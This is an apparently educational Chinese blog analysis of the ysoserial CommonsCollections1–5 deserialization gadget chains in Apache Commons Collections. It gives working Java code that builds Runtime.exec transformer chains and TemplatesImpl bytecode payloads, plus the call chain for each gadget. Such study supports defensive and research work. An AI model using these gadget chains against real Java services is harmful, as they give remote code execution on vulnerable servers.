• ysoserial分析【一】Apache Commons Collections


    0x00 前言

    Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

    0x01 基础知识

    Transformer

    Transfomer是Apache Commons Collections库引入的一个接口,每个具体的Transformer类必须实现Transformer接口,比如我自己定义了一个MyTransformer类:

    当一个Transformer通过TranformerMap的decorate方法绑定到Map的key或value上时,如果这个Map的key或value发生了变化,则会调用Transformer的transform方法,MyTransformer的transform方法是return this.name。

    测试用例如下:

    14行创建了一个MyTransformer,并使之this.name="trans-value"。然后在16-18行创建了一个Map,并在20行通过decorate方法将MyTransformer绑定到Map的value上(第二个参数为绑定到key上的Transformer)。接着在22-23行对Map进行setValue,即对Map的value进行修改。这时就会对value触发已经绑定到Map-Value上的MyTransformer的transform方法。看一下MyTransformer的transform方法,已知其直接返回this.name,由于this.name在14行已经被设置成了"trans-value",故这里直接返回这个字符串,赋值给value。看一下运行结果:

    可以看到,value已经被transform方法修改成了this.name。

    以上是自己写的一个简单的Transformer,下面看一下Apache-Common-Collections-3.1提供的一些Transformer。

    首先是ConstantTransformer,跟上面的MyTransformer类似,transform方法都是返回实例化时的第一个参数。

    还有一个是InvokerTransformer类,在其transform()方法中可以通过Java反射机制来进行执行任意代码。

    可以看到,有三个内部变量可控。然后看他的transform方法。

    可以看到,59-61行通过反射,可以调用任意类的任意方法,通过还会传入任意参数,由于input也可控(即新key/value的值),所以由于所有内部变量可控,这里存在RCE。

    还有一个比较有意思的Transformer是ChainedTransformer,可以通过一个Trasnformer[]数组来对一个对象进行链式执行transform()。

    利用InvokerTransformer造成命令执行

    首先利用ChainedTransformer类构建一个Transformer链,通过调用多个Transformer类来造成命令执行,比如以下代码:

    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    

    当调用ChainedTransformer.transform()时,会把Transformer[]数组中的所有Transformer一次执行transform()方法,造成命令执行。以上代码相当于这一行代码:

    Runtime.getRuntime().getClass().getMethod("exec",new 
    Class[]{String.class}).invoke(Runtime.getRuntime(),"calc.exe");
    

    Map

    利用Transform来执行命令有时还需要绑定到Map上,这里就讲一下Map。抽象类AbstractMapDecorator是Apache Commons Collections引入的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

    TransformedMap

    比如TransformedMap:

    Map tmpmap = TransformedMap.decorate(normalMap, KeyTransformer, ValueTransformer);
    

    可以将不同的Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法

    因此我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,自动触发chainedtransformer。

    比如以下代码

    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    
    Map normalMap = new HashMap();
    normalMap.put("11", "aa");
    
    Map transformedMap = TransformedMap.decorate(normalMap, null, transformerChain);
    
    Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
    entry.setValue("newValue");
    

    执行时会自动弹出计算器

    LazyMap

    除了TransformedMap,还有LazyMap:

    Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);
    

    当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法

    这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一。

    AnnotationInvocationHandler

    关于AnnotationInvocationHandler类,这个类本身是被设计用来处理Java注解的,可以参考 JAVA 注解的基本原理

    动态代理

    使用Proxy类实现AOP(面向切面编程)

    Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)
    /*
    ClassLoader loader:
    它是类加载器类型,你不用去理睬它,你只需要知道怎么可以获得它就可以了:MyInterface.class.getClassLoader()就可以获取到ClassLoader对象,没错,只要你有一个Class对象就可以获取到ClassLoader对象;
    
    Class[] interfaces:
    指定newProxyInstance()方法返回的代理类对象要实现哪些接口(可以指定多个接口),也就是代表我们生成的代理类可以调用这些接口中声明的所有方法。
    
    InvocationHandler h:
    它是最重要的一个参数!它是一个接口!它的名字叫调用处理器!无论你调用代理对象的什么方法,它都是在调用InvocationHandler的invoke()方法!
    */
    

    可以参考 Java动态代理InvocationHandler和Proxy学习笔记

    0x02 Commons Collections Gadget 分析

    CommonsCollections1

    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    
    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    
    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        //利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }
    
    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情)
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        //调用Proxy.newProxyInstanc()来创建动态代理
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }
    
    public InvocationHandler getObject(final String command) throws Exception {
        //创建Transformer
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
    
        final Map innerMap = new HashMap();
        //将transformerChain绑定到LazyMap中,当调用LazyMap.get(key)的key不存在时,会调用transformerChain的Transformer类的transform()方法
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        //跟进一下这个方法,注意这里传入的第一个参数是lazyMap
        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
        //创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain
    
    
        return handler;//返回对象实例,用于序列化作为poc
    }
    
    

    首先是创建利用反射RCE的ChainedTransformer对象,然后将之通过LazyMap.decorate()绑定到LazyMap上,当调用LazyMap.get(key)的key不存在时会调用Transformer的transform()方法。

    然后开始创建动态代理

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
    

    createMemoitizedProxy()定义如下

    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    
    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }
    
    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        //利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }
    
    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
        allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情)
        if ( ifaces.length > 0 ) {
            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
        }
        //调用Proxy.newProxyInstanc()来创建动态代理
        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
    }
    

    可以看到底层是在createProxy()中调用了Proxy.newProxyInstance()来创建动态代理,关于动态代理的原理请看文章的最后一部分,这里就不做解释了。这里创建动态代理的第3个参数是AnnotationInvocationHandler实例,这个实例的memberValues变量的值就是我们上面创建的LazyMap。

    这里使用动态代理的意义在于,只要调用了LazyMap的任意方法,都会直接去调用AnnotationInvocationHandler类的invoke()方法。

    至此动态代理已经完成了,创建了代理类实例mapProxy。由于动态代理的特性,当我们调用mapProxy的任何方法时会自动调度给InvocationHandler实现类的invoke()方法,在这里也就是AnnotationInvocationHandler类的invoke()方法。看一下源码

    在52行,this.memberValues正是我们上面创建的LazyMap实例,结合LazyMap的特性,只要var4这个键是不存在的,那么就会调用绑定到LazyMap上的Transformer类的transform()方法,也就是我们通过Java反射进行RCE的ChainedTransformer。

    继续往下看

        //创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例
        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
    
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain
    
        return handler;//返回对象实例,用于序列化作为poc
    

    createMemoizedInvocationHandler()就是简单的创建AnnotationInvocationHandler类的实例,并将参数赋值给类的成员变量memberValues。这个实例会被用来序列化作为payload,在触发反序列化漏洞时,会调用AnnotationInvocationHandler类的readObject()方法,而这个实例的memberValues参数的值就是我们上面创建的代理类。看一下readObject()的源码

    在283行,调用了this.memberValues的entrySet()方法。由于this.memberValues是我们的代理类,因此并不会真正的进入entrySet()方法,而是进入我们创建动态代理时绑定的AnnotationInvocationHandler的invoke()方法。回顾一下

    var4的值是var2.getName(),也就是调用的方法名,即'entrySet'。不满足45行之后的几个if判断,直接进入52行,由于this.memberValues是我们创建的空LazyMap,自然不存在名为entrySet的键,因此进入LazyMap绑定的Transformer类的transform()方法中,然后就是...你懂的了。到这里逻辑基本就可以捋顺了,从漏洞触发点开始,调用链大概是:

    ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InvokerTransfomer.transform() -> RCE
    

    要注意,这里的两个this.memberValues是不一样的,一个是反序列化的对象的属性,一个是代理的handler对象的属性。

    继续把剩下的代码看完。下面一行,通过Reflections.setFieldValue来将我们上面构造的Transformer RCE链赋值给transformerChain的iTransformers属性的值,最后return handler用于序列化,生成payload。尽管这里到最后才把RCE链赋值给transformerChain,实际上也是可以的,LazyMap.decorate()的那个transformerChain也会更新。其实这里完全可以在程序最开始就赋值给transformerChain,经过我的调试,似乎不会影响结果。

    CommonsCollections2

    直接看一下代码:

    public Queue<Object> getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);//创建TemplatesImpl实例,将反射调用恶意命令的语句插入到一个通过javassist实例的构造方法后,然后把这个实例编译成字节码,赋值给_bytecodes属性。createTemplatesImpl()函数看下方源码.
        // mock method name until armed
        final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    
        // create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));//创建优先队列类,绑定Comparator为上面的transformer实例,当插入元素时,会自动调用transformer.compare()进行排序
        // stub data for replacement later
        queue.add(1);
        queue.add(1);
    
        // switch method called by comparator
        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//设置InvokerTransformer在触发transform()时,调用元素的newTransformer方法。
    
        // switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;//将上面的TemplatesImpl实例add给queue
        queueArray[1] = 1;
    
        return queue;
    }
    
    public static Object createTemplatesImpl ( final String command ) throws Exception {
        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            return createTemplatesImpl(
                command,
                Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }
    
        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }
    
    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性
            throws Exception {
        final T templates = tplClass.newInstance();//TemplatesImpl实例
    
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));//添加StubTransletPayload类到ClassPool中
        pool.insertClassPath(new ClassClassPath(abstTranslet));//添加AbstractTranslet类
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());//加载StubTransletPayload类
        // run command in static initializer
        String cmd = "java.lang.Runtime.getRuntime().exec("" +
            command.replaceAll("\\","\\\\").replaceAll(""", "\"") +
            "");";
        clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);//设置AbstractTranslet为StubTransletPayload的父类
    
        final byte[] classBytes = clazz.toBytecode();//StubTransletPayload的字节码
    
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)//
        });
    
        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
    

    首先第一行

    final Object templates = Gadgets.createTemplatesImpl(command);
    

    创建了一个TemplatesImpl实例,利用javassist将我们反射执行系统命令的语句编译成字节码赋值给实例的_bytecodes属性。

    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性
            throws Exception {
        final T templates = tplClass.newInstance();//TemplatesImpl实例
    
        ...
    
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec("" +
            command.replaceAll("\\","\\\\").replaceAll(""", "\"") +
            "");";
        clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。
        
        ...
    
        final byte[] classBytes = clazz.toBytecode();
    
        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)//
        });
    
        ...
    
        return templates;
    }
    

    这其实就是JDK 7u21 gadget中执行命令的方式,在反序列化时,调用TemplatesImpl的defineTransletClasses()方法,从而将_bytecodes中的内容进行实例化,造成RCE。看一下这个方法:

    而这个_class会在getTransletInstance()方法中进行实例化:

    由于以上两个都是私有方法,无法通过InvokerTransformer直接调用,因此需要找到调用getTransletInstance()的地方。比如newTransformer()方法(也就是本gadget利用的方法):

    getOutputProperties()也可以利用,因为调用了newTransformer()方法。

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }
    

    已知调用这些方法可以触发命令执行,可是我们如何在反序列化时调用TemplatesImpl的这些方法呢?本POC中巧妙地利用了PriorityQueue,废话不多说,先往下看。

    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    queue.add(1);
    queue.add(1);
    

    在创建完TemplatesImpl实例之后,紧接着就创建了InvokerTransformer和PriorityQueue实例,第二个参数是new TransformingComparator(transform)。这个参数用于将PriorityQueue中的元素进行排序,也就是调用TransformingComparator.compare()进行排序,看一下compare()方法

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
    

    这里的this.transformer就是构造函数传的参数,在本例中也就是InvokerTransformer实例,可以看到compare()内部会调用InvokerTransformer.transform()方法,而InvokerTransformer已经实例化过了。因此总的来说,这里会调用InvokerTransformer.transform()对queue中的元素进行比较,由于这里的InvokerTransformer实例的iMethodName属性是toString,因此,这里会调用queue中每个元素的toString方法。接着往下看

    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//TemplatesImpl类有newTransformer()方法
    
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;
    
    return queue;
    

    首先利用反射对transformer的iMethodName由之前的toString赋值为newTransformer。也就是说,之后再对queue中的元素进行比较时,底层会调用每个元素的newTransfomer()方法。而7u21 gadget中正是TemplatesImpl.newTransformer()方法对_bytecodes属性的字节码进行了实例化,是不是悟到了什么..

    然后又利用反射,将queue的第一个元素重新赋值为templates实例,也就是本POC最开始的TemplatesImpl实例。最后返回queue,进行序列化。有个小细节,PriorityQueue.writeObject()方法中同样会对queue中的元素也进行序列化,反序列化也是如此。

    到这里其实思路已经很清晰了,利用PriorityQueue的对元素的compare,调用到InvokerTransformer,然后对其中的元素执行newTransformer()方法,而我们可以控制元素为含有执行恶意代码的类的_bytecodes属性的TemplatesImpl实例,从而执行TemplatesImpl.newTransformer()对执行恶意代码的类进行实例化,从而造成RCE。调用链大概是:

    ObjectInputStream.readObject() -> PriorityQueue.readObject() -> 【TemplatesImpl.readObject()】 -> PriorityQueue.heapify() -> TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化 -> RCE
    

    疑问

    1.为什么要用优先队列来实现?为什么不直接用InvokerTransformer结合TemplatesImpl来实现,只不过需要先触发InvokerTransformer.transform()而已?
    答:这只是一种方法而已,并不是唯一一种。目前来说,我感觉ysoserial中的几个Commons Collections中的主要点就是如何从反序列化的readObject()到反射执行代码(比如InvokerTransfomer)的过程,主要是这个中间的方法。比如1中利用的AnnotaionInvocationHandler结合动态代理、2中利用PriorityQueue。

    2.为什么要用InvokerTransformer结合TemplatesImpl而不是直接通过PriorityQueue调用ChainedTransformer来直接执行系统命令?
    答:这样也是可以的,按照ysoserial的这种定义,这也算是一个新gadget哈哈,poc如下

    public Queue<Object> getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
    
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };
    
    
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformerChain));
        queue.add(1);
        queue.add(1);
    
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
    
        return queue;
    }
    

    3.为什么不用InvokerTransformer直接执行对Runtime类来反射执行exec()方法?
    答:这样首先要把Runtime.getRuntime() add到queue队列中。可是在序列化时需要对queue的元素同样进行序列化,而Runtime没有实现序列化接口,因此会报错。

    CommonsCollections3

    本gadget在ysoserial中并没有调用栈,取而代之的只有一行

    也就是说这条链与CommonsCollections1的区别就是,在CommonsCollections1中使用了ChainedTransformer结合InvokerTransformer类来构建链式反射执行命令的语句,而这里使用ChainedTransformer结合InstantiateTransformer类来进行替代,最终执行的链则是结合了7u21中的TemplatesImpl。

    回顾CommonsCollections1,其中利用动态代理的机制,最终触发LazyMap绑定的ChainedTransformer实例,造成命令执行。而在这里由于唯一的区别就是最终执行命令的方式不太一样,因此我们只要分析反序列化之后调用的Transformer类即可,至于如何到达Transformer类,与CommonsCollections1一模一样,参考CommonsCollections1即可。

    看一下构造exp的前面部分代码

    public Object getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);
    
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } )};
    
        ...
        }
    

    与CommonsCollections2类似,先创建一个TemplatesImpl实例,其_bytecodes属性中包含能执行恶意语句的类的字节码。然后在ChainedTransformer中有两个Transformer,第一个是ConstantTransformer,直接返回TrAXFilter.class传递给下一个Transformer,也就是InstantiateTransformer。InstantiateTransformer的构造方法传入了两个参数,跟进一下。

    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    

    看一下transform()方法

    public Object transform(Object input) {
        try {
            if (!(input instanceof Class)) {
                throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
            } else {
                Constructor con = ((Class)input).getConstructor(this.iParamTypes);
                return con.newInstance(this.iArgs);
            }
        } catch (NoSuchMethodException var6) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException var7) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
        } catch (IllegalAccessException var8) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
        } catch (InvocationTargetException var9) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
        }
    }
    

    这里直接获取了Object input的构造方法,然后根据这个构造方法创建了一个input类的实例。在本例中input正是上面的ConstantTransformer传下来的,也就是TrAXFilter.class。因此为了方便理解,这里的大概逻辑是这样的

    Constructor con = ((Class)TrAXFilter.class).getConstructor(Templates.class);
    return con.newInstance(templatesImpl);
    

    也就是将TemplatesImpl实例作为参数,传入TrAXFilter类的构造方法中。看一下其构造方法

    可以看到,其中直接调用了构造参数的newTransformer()方法!是不是很眼熟,没错,这就是CommonsCollections2中通过InvokerTransformer调用的TemplatesImpl类的那个方法。因此到这里整个逻辑就通了。

    调用链是结合了CommonsCollections1与7u21,大概如下

    ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE
    

    CommonsCollections4

    与CommonsCollections3一样,这个gadget也没写调用链,只说了这条链是将CommonsCollections2中InvokerTransformer换成了InstantiateTransformer,也就是CommonsCollections3中的那个类,利用方法基本一致。

    看一下源码

    public Queue<Object> getObject(final String command) throws Exception {
        Object templates = Gadgets.createTemplatesImpl(command);
    
        ConstantTransformer constant = new ConstantTransformer(String.class);
    
        // mock method name until armed
        Class[] paramTypes = new Class[] { String.class };
        Object[] args = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
                paramTypes, args);
    
        // grab defensively copied arrays
        paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
        args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
    
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
    
        // create queue with numbers
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));//创建优先队列
        queue.add(1);
        queue.add(1);
    
        // swap in values to arm
        Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        args[0] = templates;
    
        return queue;
    }
    

    其实这个就是将CommonCollections2中TransformingComparator的构造函数参数由InvokerTransformer换成了ChainedTransfomer。在CommonsCollections2中,此处的调用链是

    TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化
    

    而这里的链则是换掉了后面这部分,取而代之的是与CommonsCollections3中类似的InstantiateTransformer。此时的链是

    TransformingComparator.compare() -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE
    

    CommonsCollections5

    回顾一下CommonsCollections1中,先利用动态代理调用AnnotationInvocationHandler.invoke(),然后在其中再调用LazyMap.get(not_exist_key),导致触发LazyMap绑定的Transformer。想想这个链能不能简单一点,为什么不找一个readObject()中就有对成员变量调用get(xxx)方法的类?CommonsCollections5正是基于这个思路,因此这个gadget与1的区别仅在于从反序列化到ChainedTransformer.transform()之间,之后的链是一样的。

    看一下源码

    public BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };
    
        final Map innerMap = new HashMap();
    
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
    
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例
    
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    
        return val;
    }
    

    可以发现,LazyMap实例化之前的几行都跟CommonsCollection1一模一样。接着往下看剩下几行

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
    BadAttributeValueExpException val = new BadAttributeValueExpException(null);
    Field valfield = val.getClass().getDeclaredField("val");
    Reflections.setAccessible(valfield);
    valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例
    
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
    return val;
    

    首先将LazyMap实例和foo字符串传入TiedMapEntry构造函数构建实例,然后把这个实例通过反射赋值给BadAttributeValueExpException实例的val属性,最后返回BadAttributeValueExpException实例用于序列化。我们倒着看,先看一下BadAttributeValueExpException的readObject()方法:

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
    
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
    

    可以看到,在if语句的第三个语句块中,调用了val属性的toString()方法,而这个val属性就是我们的TiedMapEntry实例。看一下TiedMapEntry这个类,以及其toString()方法:

    public class TiedMapEntry implements Entry, KeyValue, Serializable {
        private static final long serialVersionUID = -8453869361373831205L;
        private final Map map;
        private final Object key;
    
        public TiedMapEntry(Map map, Object key) {
            this.map = map;
            this.key = key;
        }
    
        public Object getKey() {
            return this.key;
        }
    
        public Object getValue() {
            return this.map.get(this.key);
        }
    
        public String toString() {
            return this.getKey() + "=" + this.getValue();
        }
    
        ...
    }
    

    再回顾构造gadget时是如何实例化TiedMapEntry类的:

    
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
    

    可以看到,LazyMap实例赋值给了this.map,字符串foo赋值给了this.key。然后在调用TiedMapEntry.toString()时间接调用了TiedMapEntry.getValue(),其中调用了this.map.get(this.key)。在这条gadget中也就是

    LazyMap.get("foo");
    

    由于LazyMap实例中并不存在foo这个键,因此触发了绑定在LazyMap上的Transformer类的transform()。

    调用链如下

